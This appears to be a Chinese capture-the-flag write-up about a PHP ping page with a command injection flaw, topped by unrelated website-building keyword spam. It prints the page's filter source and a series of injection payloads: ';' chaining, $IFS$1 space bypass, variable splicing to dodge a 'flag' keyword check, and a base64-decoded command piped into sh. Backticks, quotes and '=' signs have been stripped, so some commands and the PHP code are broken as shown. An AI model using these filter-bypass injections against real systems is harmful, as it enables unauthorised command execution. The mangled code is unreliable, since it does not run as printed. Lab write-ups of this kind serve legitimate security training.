网站建设的格式,app开发的基本步骤,潍坊品牌网站建设,1150网站建设服务器主板知识点:
命令执行
linux空格绕过
反引号绕过 变量绕过 base64编码绕过 打开页面提示 听说php可以执行系统函数#xff1f;我来康康
然后输入框内提示输入 bjut.edu.cn 输入之后回显信息,是ping 这个网址的信息 输入127.0.0.1 因为提示是命令…知识点:
命令执行
linux空格绕过
反引号绕过 变量绕过 base64编码绕过 打开页面提示 听说php可以执行系统函数我来康康
然后输入框内提示输入 bjut.edu.cn 输入之后回显信息,是ping 这个网址的信息 输入127.0.0.1 因为提示是命令执行,并且会执行ping操作,用;分隔命令,输入
bjut.edu.cn;ls
发现回显了两个文件flag.php 和 index.php 也说明是linux环境,查看一下flag.php文件 输入bjut.edu.cn;cat flag.php 报错fxck your space!
说明是过滤了空格#${IFS} $IFS$1 %09 %20 ${IFS 重定向符号 有时候都可以替代空格 就看题目过滤了什么符号 尝试之后发现$IFS$1可以 最后的1可以是其他数字,效果是一样的
bjut.edu.cn;cat$IFS$1flag.php
回显fxck your flag! flag也被过滤了 那就查看一下index.php文件,发现里面是源代码
if(isset($_GET[ip])){$ip $_GET[ip];if(preg_match(/\|\/|\?|\*|\|[\x{00}-\x{1f}]|\|\|\|\\|\(|\)|\[|\]|\{|\}/, $ip, $match)){print_r($match);print($ip);echo preg_match(/\|\/|\?|\*|\|[\x{00}-\x{20}]|\|\|\|\\|\(|\)|\[|\]|\{|\}/, $ip, $match);die(fxck your symbol!);}else if(preg_match(/ /, $ip)){die(fxck your space!);}else if(preg_match(/bash/, $ip)){die(fxck your bash!);}else if(preg_match(/.*f.*l.*a.*g.*/, $ip)){#检查字符串中是否分别含有 f, l, a, g 这四个字母,无论这四个字母之间有多少或什么其他的字符,而且它们出现的顺序与 flag 字符串中的顺序相同die(fxck your flag!);}$a shell_exec(ping -c 4 .$ip);echo ;print_r($a);}
方法一: 反引号绕过
其中过滤了很多符号,但是没有过滤反引号
使用反引号绕过 bjut.edu.cn;cat$IFS$1ls (先执行里面的代码,绕过输入flag的限制)
然后f12查看源码得到被注释的flag 方法二:变量绕过
例如al;bs;$a$b 就会执行ls 输入框输入 127.0.0.1;xf;cat$IFS$1$xlag.php 这种情况会显示fuck flag,即被过滤,因为整个字符串参数ip中 f l a g 顺序出现
127.0.0.1;xl;cat$IFS$1f$xag.php 没被过滤,但是不回显flag
127.0.0.1;xa;cat$IFS$1fl$xg.php 也是一样不回显flag
127.0.0.1;xg;cat$IFS$1fla$x.php 查看源码得到flag
127.0.0.1;xag;cat$IFS$1fl$x.php 查看源码也可以得到flag
127.0.0.1;xlag;cat$IFS$1f$x.php 查看源码也可以得到flag
这里我的理解是f$xag.php 和 fl$xg.php 不回显flag 是因为把原本的参数$x 当成了$xag 和 $xg 所以要把参数放在最后才会识别为$x 方法三:base64编码绕过
这里还可以将cat flag.php进行base64编码 得到Y2F0IGZsYWcucGhw 再用base64-d命令来执行 虽然过滤了bash但大部分命令仍然可以用sh来代替执行
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
使用 echo命令使得cat flag.php的base64编码被正确地作为输入参数传递给 base64 -d
即前面的 echo$IFS$1Y2F0IGZsYWcucGhw 作为管道符的输入
同样可以使用反引号配合base64编码绕过,这样不需要使用sh
127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d